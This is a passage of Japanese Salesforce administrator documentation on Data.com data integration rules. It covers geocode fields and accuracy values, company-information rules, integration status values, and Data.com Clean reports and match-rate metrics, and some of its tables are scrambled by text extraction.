3. レコードを手動で更新するには、地理コードデータインテグレーションルー
ルの [更新] をクリックします。
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レコードが地理コードデータサービス内のレコードと一致する場合は、地理コード情報項目の値が追加さ
れ、既存の地理コード値は上書きされます。データインテグレーションルールの状況が更新されます。レ
コードを手動で更新できない場合は、地理コードの緯度項目、経度項目、精度項目を更新できるように、
システム管理者にこれらの項目の項目レベルセキュリティを設定するように依頼します。

メモ: レコードの住所を変更すると、レコードが再度更新されるまで、データインテグレーションルー
ルの状況は [未比較] に設定されます。ただし、地理コードデータインテグレーションルールでは、レ
コードはほぼすぐに自動的に再度更新されます。

地理コードがレコードに追加されたことの確認

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

Salesforce API を使用する
• 「API の有効化」

地理コード項目は通常、レコードに表示されないため、いくつかの手順を実行
して、Data.comデータインテグレーションルールが地理コードを追加したことを
確認する必要があります。

重要: 地理コードは、Data.comテクノロジを使用してレコードに追加されま
す。ただし、この機能の使用に Data.com ライセンスは必要ありません。

ヒント: 地理コード項目は、カスタム数式項目を使用してページレイアウ
トに追加できます。

1. 地理コードルールの更新状況を確認します。
a. レコードを開きます。
b. [データインテグレーションルール] セクションで、地理コードルールの更

新状況を確認します。
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地理コードルールの更新状況が [同期済み] になっている場合、レコードにはデータサービスの最新の地
理コード情報が含まれています。別の状況が表示されている場合、[更新]をクリックして手動でレコー
ドを更新できます。

2. Salesforce API を使用して、地理コード項目に値が含まれていることを確認します。
a. レコードの Id 項目の値を取得します。
b. Id を使用して、住所項目と地理コード項目をクエリします (または、すべてのレコードをクエリする

か、オブジェクトの最初の X 件のレコードをクエリできます)。
例: 取引先責任者の Salesforce Object Query Language (SOQL) クエリ
SELECT Name, Email, MailingAddress, MailingCity, MailingState, MailingCountry,
MailingLatitude, MailingLongitude, MailingGeocodeAccuracy
FROM Contact
WHERE Id IN (’003D000000QRoqW’, ‘003R0000001ySoG’, ‘003D000000QRoqU’);

c. 地理コード項目に値が含まれていることを確認します。

関連トピック:

地理コードデータインテグレーションルールの設定
地理コード項目
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地理コード項目

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

地理コード情報では、経度、緯度、および精度評価を使用して場所を識別しま
す。地理コード項目は、Salesforce の取引先、取引先責任者、およびリードの標
準住所で使用できます。地理コード項目はレコードには表示されませんが、
Salesforce API を使用して参照できます。

地理コード項目標準住所オブジェク
ト

住所(請求先)取引先 • BillingLatitude

• BillingLongitude

• BillingGeocodeAccuracy

住所(納入先)取引先 • ShippingLatitude

• ShippingLongitude

• ShippingGeocodeAccuracy

住所(郵送先)取引先責任
者

• MailingLatitude

• MailingLongitude

• MailingGeocodeAccuracy

住所リード • Latitude

• Longitude

• GeocodeAccuracy

精度値
精度によって、緯度と経度の位置に関する詳細が示されます。たとえば Zip は、緯度と経度が住所の郵便番
号地域の中心地点を示していることを意味します。この場合、正確な住所の一致が見つからなかったことにな
ります。

説明精度値

同じ建物内Address

住所付近NearAddress

街区の中間点Block

番地の中間点Street

拡張郵便番号地域の中心ExtendedZip

郵便番号地域の中心Zip

近隣の中心Neighborhood
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説明精度値

市区郡の中心City

郡の中心County

都道府県の中心State

住所の一致なしUnknown

関連トピック:

地理コードデータインテグレーションルールの設定

重要な会社情報を使用した取引先およびリードの自動更新

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

Data.com Premium Clean
ライセンスで使用可能な
エディション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

営業チームが簡単に最も有望なリードを追跡し、取引先をセグメント化し、テ
リトリーやキャンペーンを計画し、顧客への理解を深められるようにします。
会社情報ルールで、Dun & Bradstreet からの 100 項目を超える会社、業種、および
財務情報 (Data.com Clean の場合と同じ項目) にアクセスできます。

会社情報データインテグレーションルールの設定に関する考慮事項
Data.com データインテグレーションルールを使用して会社情報を Salesforce の
取引先とリードに自動的に追加する場合の考慮事項を確認してください。
会社情報データインテグレーションルールの設定
Data.com 会社情報データインテグレーションルールを使用して、年間売上、
D-U-N-S Number や従業員数などの重要な会社情報を既存および新規のすべて
の取引先およびリードに追加できます。
会社情報データインテグレーションルールの設定に関するガイドライン
Data.com データインテグレーションルールを使用して取引先およびリードを自動的に更新する場合は、重
要なガイドラインに従ってください。
Lightning Experience でのレコードのデータインテグレーション状況の確認
個々のレコードが会社情報データインテグレーションルールを使用して処理されたかどうかを確認します。
ルールをテストするには、手動でレコードを更新します。データインテグレーションルールを使用すると、
レコードは自動的に更新されるため、手動でレコードを更新する必要はなくなります。
Salesforce Classic でのレコードのデータインテグレーション状況の確認
個々のレコードがデータインテグレーションルールによって処理されたかどうかを確認できます。また、
レコードを手動で更新することもできます。
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会社情報データインテグレーションルールの設定に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

取引先の会社情報とリー
ドの会社情報のルールを
使用するには、Data.com
Premium Clean ライセンス
が必要です。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Data.comデータインテグレーションルールを使用して会社情報をSalesforceの取引
先とリードに自動的に追加する場合の考慮事項を確認してください。
評価オプションの代わりに AppExchange パッケージの使用を推奨

「取引先の会社情報」ルールには、データを更新する、または参照のみの評
価を生成するオプションが含まれています。評価オプションを使用すると、
カスタム一致条件が Data.com データ評価に適用されます。ただし、Data.com

Cleanのお客様の場合は、評価オプションによって予期しない結果が作成され
ることがあります。Data.com Clean のお客様は、AppExchange パッケージの
Data.com Clean Reports を代わりに使用することをお勧めします。

会社情報ルールと Data.com Clean

状況項目
会社情報データインテグレーションルールと Data.com Clean では、異なる
状況項目が使用されます。
• 会社情報ルールでは、インテグレーションルール情報オブジェクトの

[データインテグレーション状況] 項目が使用されます。
• Data.com Clean では、取引先オブジェクトまたはリードオブジェクトの

[クリーンアップ状況] 項目が使用されます。
会社情報ルールと Data.com Clean の競合

会社情報ルールとクリーンアップジョブは異なるタイミングで実行できるため、状況項目の値が異なる
場合があります。状況項目に連動するワークフロールールまたはトリガは、正しく動作しない場合があ
ります。
たとえば、「取引先の会社情報」データインテグレーションルールでは、ユーザが取引先を追加した後
に項目が更新されます。[データインテグレーション状況] 項目の値は [同期済み] になります。一方、取
引先のスケジュールされたクリーンアップジョブがまだ実行されていない場合、[クリーンアップ状況]

項目の値は [未比較] のままです。
[クリーンアップ] ボタンと [データインテグレーションルール] 関連リスト (Salesforce Classic)

同じページレイアウトに [クリーンアップ] ボタン、[クリーンアップ状況] 項目、および [データインテグ
レーションルール] 関連リストを追加することは避けてください。[クリーンアップ] ボタンと [クリーン
アップ状況] 項目は Data.com Clean 用ですが、[データインテグレーションルール] 関連リストはデータイ
ンテグレーションルール用です。これらのオプションが同じページにあると、ユーザが混乱する可能性
があります。

会社情報ルールと更新
会社情報ルールでは、1 つ以上のレコードが変更されることがあるため、その結果、トリガ、ワークフロー、
および転送通知が起動される場合があります。ルールを有効にする前に、トリガ、ワークフロー、転送通
知を確認してください。
ユーザがレコードの項目の特定のセットのいずれかを編集すると、そのオブジェクト種別に対するデータ
インテグレーションルールが自動的に実行されます。ルールは常にすぐに実行されるとは限らないため、
ユーザがレコードを編集しようとすると、競合が発生する場合があります。その場合、ユーザは項目を編
集できますが、レコードがルールによってロックされているため、レコードを保存できません。
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ルールが自動的にトリガされる項目のリストは「標準データインテグレーションルール」に記載されてい
ます。「リードの会社情報」ルールの場合、[一致項目] に表示されている項目のみが影響を受けます。「取
引先の会社情報」ルールの場合は、[一致項目] と [更新される項目] に表示されているすべての項目が影響を
受けます。

リードの会社情報の場所のマッチング
リードの [国] 項目に値が含まれている場合は、「リードの会社情報」ルールによって、その国での国内本
社に関する会社情報が追加されます。リードの [国] 項目に値が含まれていない場合は、グローバル本社情
報が追加されます。

取引先の会社情報の場所のマッチング
「取引先の会社情報」では、取引先の場所に基づいて取引先レコードが照合されます。

ルール別の項目の対応付け設定
[設定] > [Data.com 管理] > [項目の対応付け] での項目の対応付けの選択は、会社情報ルールの項目の対応付
けには影響を及ぼしません。各ルールには、個別の項目の対応付け設定があり、カスタマイズ可能です。

関連トピック:

会社情報データインテグレーションルールの設定

会社情報データインテグレーションルールの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

Data.com Clean ライセン
スを使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

クリーンアップルールを
設定して有効化する
• 「アプリケーションの

カスタマイズ」

ページレイアウトを編集
する
• 「アプリケーションの

カスタマイズ」

Data.com会社情報データインテグレーションルールを使用して、年間売上、D-U-N-S

Number や従業員数などの重要な会社情報を既存および新規のすべての取引先お
よびリードに追加できます。

メモ: この情報は、データインテグレーションに適用され、Data.com Clean

には適用されません。
1. [設定] から、[クイック検索]ボックスに「データインテグレーションルール」

と入力し、[データインテグレーションルール] を選択します。
2. 設定する会社情報ルールをクリックします。ルールの概要が表示されます。
3. ルールを確認します。

a. 設定を変更するには、[ルール設定の編集] をクリックします。
b. 項目の対応付けを変更するには、[項目の対応付けの編集]をクリックしま

す。
c. ルールを有効化するには、[有効化]をクリックします。ルールを無効化す

るには、[無効化] をクリックします。
すべてのレコードを、ルールの有効化または保存時にクリーンアップするオ
プションを選択した場合、Salesforce ではすぐに新規レコードの確認と既存の
レコードに新規データがあるかどうかの確認が行われます。新規データは空
白の項目のみに追加されます。つまり、Salesforce でデータの上書きは行われ
ません。

4. 会社情報をすべての既存の取引先またはリードに追加するには、[このルール
を有効化または保存した後にすべてのレコードを更新] を選択します。
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5. ルールを保存します。
6. ルールを有効にします。
7. Salesforce Classic の場合のみ、ユーザが会社情報ルールの状況を確認するには、[データインテグレーション

ルール] 関連リストを取引先またはリードのページレイアウトに追加します。

関連トピック:

会社情報データインテグレーションルールの設定に関する考慮事項
データインテグレーションルールの設定
Salesforce Classic でのレコードのデータインテグレーション状況の確認
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会社情報データインテグレーションルールの設定に関するガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

Data.com Clean ライセン
スを使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.comデータインテグレーションルールを使用して取引先およびリードを自動
的に更新する場合は、重要なガイドラインに従ってください。

Salesforce Classic ユーザの場合の調整
Salesforce Classicユーザがレコードの更新状況を確認し、手動で更新できるように
するには、リードページレイアウトまたは取引先ページレイアウトを調整しま
す。[データインテグレーションルール] 関連リストをレイアウトに追加します。

レコードを手動で更新するユーザのアクセス
D&B 企業オブジェクトへのアクセス

ユーザが D&B 企業オブジェクトへの「参照」および「作成」アクセス権を
持っていることを確認します。ユーザがレコードを更新すると、ルールによ
り関連する D&B 企業レコードが作成されます (レコードが存在しない場合)。

取引先項目へのアクセス
「取引先の会社情報」ルールの場合、項目レベルセキュリティを調整して、ルールで指定されるデータを
含む次の取引先項目へのアクセス権をユーザに付与します。

電話説明取引先名

SIC コード従業員数取引先部門

SIC の説明Fax年間売上

株式コード業種請求先住所

取引形態NAICS コード会社の D-U-N-S Number

設立年NAICS の説明D&B 企業

Web サイト会社形態Data.com キー

リード項目へのアクセス
リードの会社情報ルールの場合、項目レベルセキュリティを調整して、リードの次の項目へのアクセス権
をユーザに付与します。
• 年間売上
• D&B 企業
• 会社 D-U-N-S 番号
• 業種
• 従業員数
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メモ:  Professional Edition の場合は、ページレイアウトを使用して項目レベルセキュリティを調整します。

関連トピック:

会社情報データインテグレーションルールの設定
項目へのユーザアクセスの制御

Lightning Experience でのレコードのデータインテグレーション状況の確認

ユーザ権限

取引先およびリードをク
リーンアップする
• 取引先およびリードの

「編集」

個々のレコードが会社情報データインテグレーションルールを使用して処理さ
れたかどうかを確認します。ルールをテストするには、手動でレコードを更新
します。データインテグレーションルールを使用すると、レコードは自動的に
更新されるため、手動でレコードを更新する必要はなくなります。

使用可能なエディション: Lightning Experience

Data.com Cleanライセンスを使用可能なエディション: Professional Edition、Enterprise

Edition、Performance Edition、および Unlimited Edition

1. 確認する取引先またはリードを開きます。
2. アクションメニューで、[インテグレーション状況を確認] をクリックします。

3. [クリーンアップ] をクリックします。

このウィンドウには、更新前後の更新状況が表示されます。
取引先またはリードレコードがデータサービスのレコードに一致した場合は、自動的に空白項目に入力さ
れます。会社情報クリーンアップルールでは、レコードのデータは上書きされません。新規データと既存
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のデータが異なる場合は、手動で確認し、必要なデータを選択できます。データインテグレーションルー
ルの状況が更新されます。
レコードを照合または更新するためにルールが使用する項目を 1 つ以上変更する場合は、レコードが保存
されて再度更新されるまで、状況は [未比較] に設定されます。

メモ: 取引先で、手動で更新中に [会社の D-U-N-S 番号] 項目値を更新する場合は、[D&B 企業] 項目値を
削除します。これを実行しないと、Data.com で上記 2 項目の値を更新できず、正しい D&B 企業レコー
ドを取引先にリンクできません。

Salesforce Classic でのレコードのデータインテグレーション状況の確認

エディション

使用可能なエディション:
Salesforce Classic

取引先の会社情報とリー
ドの会社情報のルールを
使用するには、Data.com
Premium Clean ライセンス
が必要です。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

取引先、取引先責任者、
およびリードをクリーン
アップする
• 取引先、取引先責任

者、およびリードに対
する「編集」

個々のレコードがデータインテグレーションルールによって処理されたかどう
かを確認できます。また、レコードを手動で更新することもできます。
1. 確認する取引先、取引先責任者、またはリードを開きます。

この関連リストが表示されない場合は、ページに追加するように Salesforce シ
ステム管理者に依頼してください。

2. [更新] をクリックします。
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取引先、取引先責任者、またはリードレコードがデータサービスのレコードに一致した場合は、自動的に
空白項目に入力されます。データインテグレーションルールでは、レコードのデータは上書きされません。
新規データと既存のデータが異なる場合は、手動で確認し、必要なデータを選択できます。状況が更新さ
れます。
レコードを照合または更新するためにルールが使用する項目を 1 つ以上変更する場合は、レコードが保存
されて再度更新されるまで、状況は [未比較] に設定されます。

メモ: 取引先で、手動で更新中に [会社の D-U-N-S 番号] 項目値を更新する場合は、[D&B 企業] 項目値を
削除します。これを実行しないと、データインテグレーションで上記 2 項目の値を更新できず、正し
い D&B 企業レコードを取引先にリンクできません。

関連トピック:

標準データインテグレーションルール
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データインテグレーションルールの効果を調べるためのガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

地理コードクリーンアッ
プルールを使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Data.com Clean ライセン
スで他のクリーンアップ
ルールを使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

自分の組織にデータインテグレーションの効果がどの程度あるかを調べること
ができます。データインテグレーションルールの一致率が表示される [データイ
ンテグレーション総計値] ページを確認します。データサービスのレコードと一
致したレコードの割合が表示されます。レコードが一致すると、データサービ
スによって最新のデータに更新できます。

メモ: この情報は、データインテグレーションに適用され、Data.com Clean

には適用されません。
• [エラー] 列には、レコードを処理するときに発生したエラー数が表示されま

す。トリガ、ワークフロールール、重複ルール、または入力規則が原因で処
理済みレコードを更新できない場合、エラーが発生します。エラーのある各
レコードの ID および関連するエラーメッセージが含まれたファイルをダウン
ロードするには、エラー数をクリックします。レコードの最新のエラーのみ
が含まれます。[エラー] 列には、データインテグレーションルールあたり最
大 10,000 件のエラーが含まれます。

• 過去 24 時間に有効化されたデータインテグレーションルールのデータは表示
されません。

標準データインテグレーションルール

エディション

使用可能なエディション:
Salesforce Classic

取引先の会社情報とリー
ドの会社情報のルールを
使用するには、Data.com
Premium Clean ライセンス
が必要です。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

以下は、標準データインテグレーションルールの主要な詳細情報で、各ルール
の動作や影響を受ける項目などが示されています。

メモ: Data.comライセンスがなくても、評価モードで「取引先の会社情報」
データインテグレーションルールを使用できます。

更新される
項目

一致項目項目の更新
方法

オブジェク
ト

データサー
ビス

デフォルト
名

住所(請求
先)

上書き取引先Data.com 地
理情報

取引先住所
(請求先)

の地理コー
ド

• BillingLatitude

• BillingLongitude

• BillingGeocodeAccuracy

緯度、経
度、および
精度はレ
コードに表
示されませ
ん。
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更新される項目一致項目項目の更新方法オブジェクトデータサービスデフォルト名

住所(納入先)上書き取引先Data.com地理情報取引先住所(納入
先) の地理コー
ド

• ShippingLatitude

• ShippingLongitude

• ShippingGeocodeAccuracy

緯度、経度、お
よび精度はレ
コードに表示さ
れません。

住所(郵送先)上書き取引先責任者Data.com地理情報取引先責任者住所
(郵送先) の地理
コード

• MailingLatitude

• MailingLongitude

• MailingGeocodeAccuracy

緯度、経度、お
よび精度はレ
コードに表示さ
れません。

住所上書きリードData.com地理情報リード住所の地理
コード

• Latitude

• Longitude

• GeocodeAccuracy

緯度、経度、お
よび精度はレ
コードに表示さ
れません。

空白は入力され
ます。差異があ

リードリードのData.com

会社
リードの会社情報 • [年間売上]

(米ドル)

• 会社名
• メールるレコードには

• 会社
D-U-N-S 番
号

• 住所フラグが付きま
す。フラグ付き
レコードは手動

• 会社
D-U-N-S 番
号 • D&B 企業で確認する必要

があります。 • 従業員数• Web サイト
• 業種

ルールには、参
照のみ評価の生

取引先Data.com 会社取引先の会社情報 • 取引先名• D-U-N-S 番
号 • D-U-N-S 番

号成または新規
データでレコー

• 名前
•• D&B 企業電話ドを更新するオ

• 住所(請求先) • 従業員数
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更新される項目一致項目項目の更新方法オブジェクトデータサービスデフォルト名

プションが含ま
れています。

•• 年間売上Web サイト
• 株式コード

レコードの更新
のオプションを

• Web サイト
• 業種選択すると、空
• 会社形態白に値が入力さ
• 住所(請求先)れ、差異がある

レコードにはフ • 電話
ラグが付きま • Fax
す。フラグ付き

• 取引先 部門レコードは手動
• 取引形態で確認する必要

があります。 • 設立年
• 産業コード
• 産業区分の説

明
• NAICS コー

ド
• NAICS の説

明
• 説明

関連トピック:

データインテグレーションルールの設定
データインテグレーションルール
会社情報データインテグレーションルールの設定
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データインテグレーションの状況

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

取引先の会社情報とリー
ドの会社情報のルールを
使用するには、Data.com
Premium Clean ライセンス
が必要です。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

データインテグレーションルールを有効にすると、レコードの更新状況が表示
されます。この状況により、レコードのデータがルールのデータサービスのデー
タと比較してどのような状態であるかが示されます。

API 項目値定義クリーンアッ
プ状況

PendingSalesforce はデータサービスと比較
されていません。

[未比較]

InSyncSalesforce レコードはデータサービ
スのレコードと一致し、更新対象
の項目の値が同一です。

[同期済み]

確認済みSalesforce レコードはデータサービ
スのレコードと一致しています
が、一致するレコードの一部に受
け入れられない値があります。状
況の判定には、更新対象の項目の
値のみが使用されます。

[レビュー
済み]

DifferentSalesforce レコードはデータサービ
スのレコードと一致しますが、更

[不一致]

新対象の項目の値が異なり、その
差異がまだ確認されていません。

NotFoundこの Salesforceレコードには、デー
タサービスのレコードに類似のレ
コードがありません。

[該当なし]

Skipped入力規則エラーまたはトリガエ
ラーのため、Salesforce レコードを
照合または更新できません。

スキップし
ました
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特定の Data.com クリーンアップ状況のレコードに関するレポート

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

特定のクリーンアップ状況 (不一致など) を持つSalesforce取引先、取引先責任者、
またはリードレコードを示すカスタムレポートを作成します。

メモ: この情報は、Data.com Clean に適用され、データインテグレーション
には適用されません。

取引先、取引先責任者、またはリードオブジェクトから表示する項目を選択し
ます。付随するクリーンアップ情報オブジェクトのデータを使用して、Salesforce

レコードと Data.com レコードの値を横に並べて表示します。レポート結果は、
レコードが特定のクリーンアップ状況となる一貫した理由を判断するのに役立
ちます。この情報を使用して、組織でのレコードのクリーンアップ方法を管理
します。
たとえば、クリーンアップ状況が不一致になっているすべてのレコードと、そ
れに一致するData.comレコードを横に並べて表示するレポートを作成できます。
この状況の原因となるデータのパターンを判断したら、トリガまたは API カスタ
マイズを作成してデータを調整し、より多くのレコードの状況が同期済みとな
るようにすることができます。
クリーンアップ状況別取引先責任者レポートを作成してみましょう。
1. 取引先責任者オブジェクトを取引先責任者クリーンアップ情報オブジェクト

にリンクするカスタムレポートタイプが、組織に存在することを確認しま
す。また、両方のオブジェクトからの項目をレポートに使用できることも確
認します。

2. レポートを作成します。[レポート] タブをクリックし、[新規レポート] をク
リックします。

3. レポートタイプとして[クリーンアップ状況別取引先責任者] を選択します。
4. [作成]をクリックします。
5. 親オブジェクトである取引先責任者から、レポート対象となる項目を選択し

ます。たとえば、次の項目を選択します。
• 取引先責任者 ID

• 状況をクリーンアップ
• 氏名
• 住所(郵送先)

• 電話
• メール

6. 関連オブジェクトである取引先責任者クリーンアップ情報から、取引先責任者オブジェクトの項目と対応
する項目を選択します。取引先責任者クリーンアップ情報の場合、次の項目を選択します。
• 取引先責任者クリーンアップ ID

• 名
• 姓
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• 住所
• 電話
• メール
• 最終一致日

7. 項目の絞り込みをレポートに追加します。項目には [クリーンアップ状況] を選択します。演算子には [次
の文字列と一致する] を選択し、値には [不一致] を選択します。

8. 残りの項目を定義します。
9. レポートを保存して、実行します。
10. 特定のレコードのクリーンアップ状況が不一致となるデータのパターンを判断できるかどうかを、レポー

トで確認します。

関連トピック:

取引先、取引先責任者、リードクリーンアップ情報のカスタムレポートタイプの作成
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Data.com Clean の効果の判定

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

Data.com Clean の一致率
を表示する
• 「アプリケーションの

カスタマイズ」

Data.com Cleanの総計値と分析には、Data.comデータを使用して組織の取引先、取
引先責任者、およびリードがどのように一致および更新されるかが示されるた
め、一致率と更新率を定期的に確認することが重要です。

メモ: この情報は、Data.com Clean に適用され、データインテグレーション
には適用されません。

1. [設定] から、[クイック検索] ボックスに「総計値」と入力し、[クリーンアッ
プ] セクションの [総計値 & 分析] を選択します。

2. 最後にいつ計算されたかは、テーブル上部にある [最終計算日] 項目を確認
してください。

メモ: テーブルのデータは毎日計算されますが、時間を保存してから、
GMT に基づいて日付を計算します。そのため、時間の調整によっては、
表示される日付が計算を実施した日付と異なる場合があります。また、
このデータが計算されるのは 1 日に 1 回であるため、Data.com ダッシュ
ボードおよびレポートのデータとわずかに異なる場合があります。

3. [一致率と更新率] セクションで一致情報と更新情報を確認します。
データは、組織が Data.comを実装してから一致または更新されたレコードを
表します。次は、テーブル列の定義です。

定義列

Data.com Clean が有効なオブジェクト
(取引先、取引先責任者、またはリー
ド)。

レコード数

メモ: Salesforce 組織で個人取引
先を使用している場合には、
[合計]列と [処理済み]列の数
値が異なる場合があります。個
人取引先は取引先合計には含ま
れますが、Data.com クリーン
アップジョブでは処理されませ
ん。

Salesforce 内にある組織のオブジェク
ト (取引先、取引先責任者、または
リード) レコード数。

合計

Data.com Clean で処理された種別 (取引
先、取引先責任者、またはリード) ご
との Salesforce レコード数。

処理済み

Data.com レコードと一致する種別 (取
引先、取引先責任者、またはリード)

一致
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定義列

ごとの処理済みの Salesforce レコード数。

更新された種別 (取引先、取引先責任者、またはリー
ド) ごとの処理済みの Salesforce レコード数。

更新

定義列

Data.com Clean が有効なオブジェクト (取引先、取引
先責任者、またはリード)。

レコード数

Data.comレコードと一致する種別 (取引先、取引先責
任者、またはリード) ごとの処理済みの Salesforce レ
コードのパーセント。

一致率 (処理済みレコード中)

更新された種別ごとの処理済みのSalesforceレコード
のパーセント。

更新率 (処理済みレコード中)

関連トピック:

データインテグレーションルールの効果を調べるためのガイドライン
Data.com Clean がレコードを照合する方法は?

取引先マッチングサービスの選択に関するガイドライン
データインテグレーションルールがレコードを照合する方法は?
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より適切なデータが必要な組織のレコード数の確認

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

パッケージをインストー
ルする
• 「AppExchange パッ

ケージのダウンロー
ド」

Data.com データ評価を実
行する
• 権限不要

Data.com データ評価を参
照する
• 権限不要

Data.comデータ評価は、Data.comを使用して組織の何件のレコードをより多くの
適切なデータで強化できるかを示す、無料の Salesforce AppExchange パッケージで
す。また、Data.com で 無効 とマークされたレコード件数を調べたり、必要に応
じて Salesforce 組織で重複していると見られるレコード件数を調べたりすること
もできます。
また、Data.comデータ評価では、取引先、取引先責任者、およびリードの項目を
リストし、レコード内の空白項目の件数や Data.com と異なる値を持つ件数を確
認することもできます (たとえば、[電話] 項目値が空白である取引先レコード
が 10 件、[取引先名]項目値が空白である取引先責任者レコードが 5 件など)。こ
の情報は、空白、あるいは値が古い項目を更新する Data.com Clean を購入するか
どうかを判断するのに役立ちます。Data.com Cleanをすでに使用している場合は、
その製品から取得される値が表示されます。
1. AppExchange から Data.com 評価アプリケーションをインストールします。
2. Force.com アプリケーションメニューから [[Data.com の評価]  (Data.com評価)]

を選択して、データ評価アプリケーションを開きます。
3. [Data.com Assessment (Data.com 評価)] タブをクリックし、評価設定を定義しま

す。
4. [Start My Assessment (自分の評価を開始)] をクリックします。

予期される評価の所要時間が示されます。計算の完了は 1 秒あたり 15 件のレ
コードを基にしており、1 時間単位で切り上げられます。たとえば、取引先
が 200,000 件ある場合は、評価の完了に約 3 時間 45 分かかります。これは 4 時
間と推定されます。

5. 評価が完了したら、Force.com アプリケーションメニューから [Data.com の
評価] を選択します。

6. [Data.com Assessment (Data.com 評価)] タブをクリックし、[Assessments (評価)] タブをクリックします。
7. 目的の評価の横にある [View Assessments (評価を参照)] をクリックします。
8. 評価タブを順にクリックします。次に、表示内容について説明します。

表示内容タブ

評価用に分析した一連のレコードを分類します。より多くの適切なデータで強化
できるレコード件数、Data.comで無効になる可能性のあるレコード件数、要求し

概要

た場合に評価を実行できる時期、重複している可能性のあるレコード件数を示し
ます。また、Data.comレコードと一致するレコード件数と、一致しないレコード
件数も示します。

一致した取引先レコードを分類し、状況別のレコード数と比率、および一致率を
示します。データ評価には取引先項目のリストも表示され、特定の項目につい

取引先

て、項目値が空白になっているレコード数と、Data.comと異なる値を持つレコー
ド数を示します (たとえば、[電話] 項目値が空白である取引先レコードが 10 件
など)。
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表示内容タブ

一致した取引先責任者レコードを分類し、状況別のレコード数と比率、および一
致率を示します。データ評価には取引先責任者項目のリストも表示され、特定の

取引先責任者

項目について、項目値が空白になっているレコード数と、Data.com と異なる値を
持つレコード数を示します (たとえば、[取引先]項目値が空白である取引先責任
者レコードが 5 件など)。

一致したリードレコードを分類し、状況別のレコード数と比率、および一致率を
示します。データ評価にはリード項目のリストも表示され、特定の項目につい

リード

て、項目値が空白になっているレコード数と、Data.comと異なる値を持つレコー
ド数を示します (たとえば、[役職] 項目値が Data.com と異なるリードレコードが
12 件など)。

Data.comの一致アルゴリズムでは、キー項目を使用して一致するレコードを特定
します。このタブには、このような項目が表示され、不一致レコード内の空白項

不一致

目の数と比率が示されます。有効なデータをこれらの項目に追加すると、組織の
一致結果が向上することがあります。

D&B DUNSRight マッチングを使用して期待される取引先の一致率が表示されます。
信頼性コードは 1 ～ 10 の数値です。10 の一致信頼性コードは最も正確で、最も

DUNSRight

完全な一致です。レコードを [一致] または [一致を選択] として識別する信頼性
コードのしきい値を設定できます。[一致] レコードは、自動クリーンアッププロ
セスに自動的に追加されます。[一致を選択] レコードは、自動クリーンアッププ
ロセスに手動で追加されます。
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取引先のクリーンアップ状況の確認

エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

Data.com Clean を実装す
る
• 「アプリケーションの

カスタマイズ」

Data.com Clean を使用する場合、クリーンアップ状況別取引先レポートを実行し
てすべての取引先の [クリーンアップ状況] を確認できます。

メモ: この情報は、Data.com Clean に適用され、データインテグレーション
には適用されません。

メモ: この情報は、Data.com Clean に適用され、データインテグレーション
には適用されません。

重要: 自分のレコードとData.comレコードが誤って一致していると考えられ
る場合、[差異にフラグを設定し、空白項目に自動入力する]をクリーンアッ
プ設定として選択する前に、慎重に検討する必要があります。多くのレコー
ドで不一致が発生している場合は、Salesforce カスタマーサポートにお問い
合わせください。

1. [ダッシュボード] タブをクリックし、[Data.com アナリティクス] を選択しま
す。クリーンアップ状況別取引先レポートを実行します。
クリーンアップジョブの実行が正常に終了すると、取引先がクリーンアップ
状況値別にグループ化されて表示されます。

2. レポートで、クリーンアップ状況が「不一致」の Salesforce レコードを見つけ
ます。いくつかのレコードを開いて [クリーンアップ]をクリックし、差異を
調べます。

3. クリーンアップ状況が「該当なし」のレコードについて比較プロセスを繰り
返します。

関連トピック:

Data.com Clean がレコードを照合する方法は?

Data.com の更新状況

Data.com レポート AppExchange パッケージのインストールと実装

ユーザ権限

パッケージをインストー
ルする
